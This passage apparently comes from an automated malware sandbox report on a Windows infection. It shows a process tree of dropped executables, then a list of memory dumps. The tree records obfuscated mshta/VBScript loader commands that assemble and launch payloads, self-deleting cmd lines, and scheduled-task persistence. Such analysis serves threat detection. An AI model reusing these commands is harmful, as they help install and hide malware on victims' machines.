                                                                                                                                                                  7⤵
                                                                                                                                                                    PID:6468
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\chrome2.exe
                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
                                                                                                                                                                    7⤵
                                                                                                                                                                      PID:6564
                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\1HKjlmU7QtkaTLsL8DBhxg4h.exe
                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\1HKjlmU7QtkaTLsL8DBhxg4h.exe"
                                                                                                                                                                    6⤵
                                                                                                                                                                      PID:5868
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\1HKjlmU7QtkaTLsL8DBhxg4h.exe" & exit
                                                                                                                                                                        7⤵
                                                                                                                                                                          PID:2168
                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\kH4H7kOVEHO3U5kYAsTBkSuc.exe
                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\kH4H7kOVEHO3U5kYAsTBkSuc.exe"
                                                                                                                                                                        6⤵
                                                                                                                                                                          PID:7020
                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\kH4H7kOVEHO3U5kYAsTBkSuc.exe
                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\kH4H7kOVEHO3U5kYAsTBkSuc.exe"
                                                                                                                                                                            7⤵
                                                                                                                                                                              PID:4548
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        C:\Windows\system32\cmd.exe /c Tue2095db5b6bd7.exe
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:1416
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue2095db5b6bd7.exe
                                                                                                                                                                            Tue2095db5b6bd7.exe
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:2228
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                cmd.exe /c taskkill /f /im chrome.exe
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:4220
                                                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                    taskkill /f /im chrome.exe
                                                                                                                                                                                    7⤵
                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                    PID:4180
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /c Tue205724605816e79.exe
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:4068
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue205724605816e79.exe
                                                                                                                                                                                  Tue205724605816e79.exe
                                                                                                                                                                                  5⤵
                                                                                                                                                                                    PID:2076
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Tue2082ea84bd.exe
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:2960
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c Tue20c79bfdadc.exe
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:2280
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c Tue203dd57461.exe
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:952
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue203dd57461.exe
                                                                                                                                                                                          Tue203dd57461.exe
                                                                                                                                                                                          5⤵
                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                          PID:3116
                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\3197803.exe
                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\3197803.exe"
                                                                                                                                                                                            6⤵
                                                                                                                                                                                              PID:4848
                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\2982764.exe
                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\2982764.exe"
                                                                                                                                                                                              6⤵
                                                                                                                                                                                                PID:5024
                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\1453152.exe
                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\1453152.exe"
                                                                                                                                                                                                6⤵
                                                                                                                                                                                                  PID:3288
                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\1110722.exe
                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\1110722.exe"
                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                    PID:3548
                                                                                                                                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                      "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\1110722.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\1110722.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                        PID:4564
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\1110722.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\1110722.exe" ) do taskkill -f -Im "%~NXZ"
                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                            PID:4888
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
                                                                                                                                                                                                              ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                PID:4468
                                                                                                                                                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                  "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL" ). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ) )
                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                    PID:1488
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
                                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                                        PID:5156
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                      "C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ). RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                        PID:5756
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i & CopY /b /Y CPkpI.I + sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q *
                                                                                                                                                                                                                          11⤵
                                                                                                                                                                                                                            PID:5860
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /S /D /c" EChO "
                                                                                                                                                                                                                              12⤵
                                                                                                                                                                                                                                PID:6028
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
                                                                                                                                                                                                                                12⤵
                                                                                                                                                                                                                                  PID:6052
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\control.exe
                                                                                                                                                                                                                                  control ..\WfNRfms4.K
                                                                                                                                                                                                                                  12⤵
                                                                                                                                                                                                                                    PID:5360
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                      "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
                                                                                                                                                                                                                                      13⤵
                                                                                                                                                                                                                                        PID:4392
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                taskkill -f -Im "1110722.exe"
                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                PID:2888
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\297063.exe
                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\297063.exe"
                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                            PID:4188
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                PID:4688
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\6218482.exe
                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\6218482.exe"
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                PID:1508
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c Tue20d8f1968de62f282.exe
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                              PID:1644
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20d8f1968de62f282.exe
                                                                                                                                                                                                                                Tue20d8f1968de62f282.exe
                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                PID:3852
                                                                                                                                                                                                                                • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                  C:\Windows\system32\WerFault.exe -u -p 3852 -s 1624
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                  PID:4544
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 1516 -s 572
                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                              PID:1780
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c Tue202dc71d1d41.exe
                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                PID:2300
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c Tue20abd30733a17.exe
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                  PID:4084
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c Tue20ea834764a6.exe
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                  PID:2608
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue2082ea84bd.exe
                                                                                                                                                                                                                            Tue2082ea84bd.exe
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                            PID:1580
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue2082ea84bd.exe
                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue2082ea84bd.exe
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:4284
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20c79bfdadc.exe
                                                                                                                                                                                                                              Tue20c79bfdadc.exe
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              PID:3416
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20c79bfdadc.exe
                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20c79bfdadc.exe
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:4296
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20abd30733a17.exe
                                                                                                                                                                                                                                Tue20abd30733a17.exe
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                PID:3048
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20ea834764a6.exe
                                                                                                                                                                                                                                Tue20ea834764a6.exe
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                PID:1844
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue202dc71d1d41.exe
                                                                                                                                                                                                                                Tue202dc71d1d41.exe
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                PID:3352
                                                                                                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\Vo06XMBIaNeV1utv5f_lMaTM.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\Vo06XMBIaNeV1utv5f_lMaTM.exe"
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:4772
                                                                                                                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\yKX6ppBxo14NpSyqGyrD92DH.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\yKX6ppBxo14NpSyqGyrD92DH.exe"
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:5648
                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\yKX6ppBxo14NpSyqGyrD92DH.exe
                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\yKX6ppBxo14NpSyqGyrD92DH.exe"
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:4588
                                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\F0jdZDzGj_nx2hSyo_Heb4d1.exe
                                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\F0jdZDzGj_nx2hSyo_Heb4d1.exe"
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:5240
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /im "F0jdZDzGj_nx2hSyo_Heb4d1.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\F0jdZDzGj_nx2hSyo_Heb4d1.exe" & exit
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:5104
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                taskkill /im "F0jdZDzGj_nx2hSyo_Heb4d1.exe" /f
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                                PID:6588
                                                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\Oio7yJo4pTzObF_rMWp2btIx.exe
                                                                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\Oio7yJo4pTzObF_rMWp2btIx.exe"
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:5288
                                                                                                                                                                                                                                            • C:\Users\Admin\Pictures\Adobe Films\S8HkJ0O53a_ITuDgyU2ImpHl.exe
                                                                                                                                                                                                                                              "C:\Users\Admin\Pictures\Adobe Films\S8HkJ0O53a_ITuDgyU2ImpHl.exe"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:5616
                                                                                                                                                                                                                                              • C:\Users\Admin\Pictures\Adobe Films\RR7V1PQnfutblVG5zv5Z8Okb.exe
                                                                                                                                                                                                                                                "C:\Users\Admin\Pictures\Adobe Films\RR7V1PQnfutblVG5zv5Z8Okb.exe"
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:4892
                                                                                                                                                                                                                                                • C:\Users\Admin\Pictures\Adobe Films\Grn_lr2W87eMr54We_MaU7et.exe
                                                                                                                                                                                                                                                  "C:\Users\Admin\Pictures\Adobe Films\Grn_lr2W87eMr54We_MaU7et.exe"
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:5588
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                      schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                                                      PID:6116
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                      schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                                                      PID:7792
                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\7bvopJfHn2JNx1pZiUWqPenS.exe
                                                                                                                                                                                                                                                      "C:\Users\Admin\Documents\7bvopJfHn2JNx1pZiUWqPenS.exe"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:2176
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue201d50e7015.exe
                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue201d50e7015.exe" /SILENT
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                      PID:3628
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\is-GFKD0.tmp\Tue201d50e7015.tmp
                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\is-GFKD0.tmp\Tue201d50e7015.tmp" /SL5="$5006A,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue201d50e7015.exe" /SILENT
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:1512
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /r tYpE "C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20adee3c26d.exe" >..\_4SO.EXE && sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs& If ""== "" for %Y In ( "C:\Users\Admin\AppData\Local\Temp\7zS0A4AD0D5\Tue20adee3c26d.exe" ) do taskkill /IM "%~nXY" -f
                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                          PID:4348
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\_4SO.EXE
                                                                                                                                                                                                                                                            ..\_4SO.Exe /PZOIMJIYi~u3pALhs
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:4680
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                "C:\Windows\System32\mshta.exe" vBScRiPt: cLOsE(CREaTeOBject ( "WSCRipt.sHEll" ). Run ( "CMd /r tYpE ""C:\Users\Admin\AppData\Local\Temp\_4SO.EXE"" > ..\_4SO.EXE && sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs & If ""/PZOIMJIYi~u3pALhs""== """" for %Y In ( ""C:\Users\Admin\AppData\Local\Temp\_4SO.EXE"" ) do taskkill /IM ""%~nXY"" -f" , 0, tRUE ) )
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:4796
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /r tYpE "C:\Users\Admin\AppData\Local\Temp\_4SO.EXE" >..\_4SO.EXE && sTARt ..\_4SO.Exe /PZOIMJIYi~u3pALhs& If "/PZOIMJIYi~u3pALhs"== "" for %Y In ( "C:\Users\Admin\AppData\Local\Temp\_4SO.EXE" ) do taskkill /IM "%~nXY" -f
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                      PID:4932
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                    "C:\Windows\System32\mshta.exe" vBsCripT: clOsE ( crEatEobJECT ( "WSCRIPt.SHELL" ). RUn ( "cMD.exE /q /C ecHo | SET /p = ""MZ"" >5~XZ.D & COpy /y /b 5~xz.D + LaXZ3lI.UF+ 53Bv.3un +3B8VN.JpX ..\WOYVBNM.9 & stArt msiexec -y ..\WOYVBnm.9 & dEL /Q * " , 0 , tRue ) )
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:4488
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /q /C ecHo | SET /p = "MZ" >5~XZ.D &COpy /y /b 5~xz.D + LaXZ3lI.UF+ 53Bv.3un +3B8VN.JpX ..\WOYVBNM.9 & stArt msiexec -y ..\WOYVBnm.9 & dEL /Q *
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                          PID:4632
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /S /D /c" SET /p = "MZ" 1>5~XZ.D"
                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                              PID:1332
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /S /D /c" ecHo "
                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                PID:3612
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                                                msiexec -y ..\WOYVBnm.9
                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                  PID:5812
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                            taskkill /IM "Tue20adee3c26d.exe" -f
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                                                                            PID:4960
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                            PID:4992
                                                                                                                                                                                                                                                                          • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                                                                            PID:4664
                                                                                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                              PID:5080
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                              "C:\Windows\SysWOW64\explorer.exe"
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                PID:3576
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                  /c del "C:\Users\Admin\Pictures\Adobe Films\Oio7yJo4pTzObF_rMWp2btIx.exe"
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                    PID:5756
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\msdt.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\SysWOW64\msdt.exe"
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                    PID:4100

                                                                                                                                                                                                                                                                                  Network

                                                                                                                                                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                                                                                                                  Downloads

                                                                                                                                                                                                                                                                                  • memory/312-523-0x000001E357B40000-0x000001E357BB2000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    456KB

                                                                                                                                                                                                                                                                                  • memory/376-451-0x0000000004BF3000-0x0000000004BF4000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/376-267-0x0000000007960000-0x0000000007961000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/376-269-0x00000000079D0000-0x00000000079D1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/376-265-0x0000000007130000-0x0000000007131000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/376-251-0x0000000004BF2000-0x0000000004BF3000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/376-214-0x0000000002F00000-0x0000000002F01000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/376-270-0x0000000007A40000-0x0000000007A41000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/376-221-0x0000000002F00000-0x0000000002F01000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/376-404-0x000000007ED20000-0x000000007ED21000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/376-244-0x0000000004BF0000-0x0000000004BF1000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                  • memory/772-482-0x000001EFA7A40000-0x000001EFA7A8D000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    308KB

                                                                                                                                                                                                                                                                                  • memory/772-470-0x000001EFA7B00000-0x000001EFA7B72000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    456KB

                                                                                                                                                                                                                                                                                  • memory/936-570-0x0000029571440000-0x00000295714B2000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    456KB

                                                                                                                                                                                                                                                                                  • memory/1072-564-0x0000024DF1C80000-0x0000024DF1CF2000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    456KB

                                                                                                                                                                                                                                                                                  • memory/1148-585-0x000001282CF40000-0x000001282CFB2000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    456KB

                                                                                                                                                                                                                                                                                  • memory/1364-611-0x0000020099690000-0x0000020099702000-memory.dmp

                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                    456KB

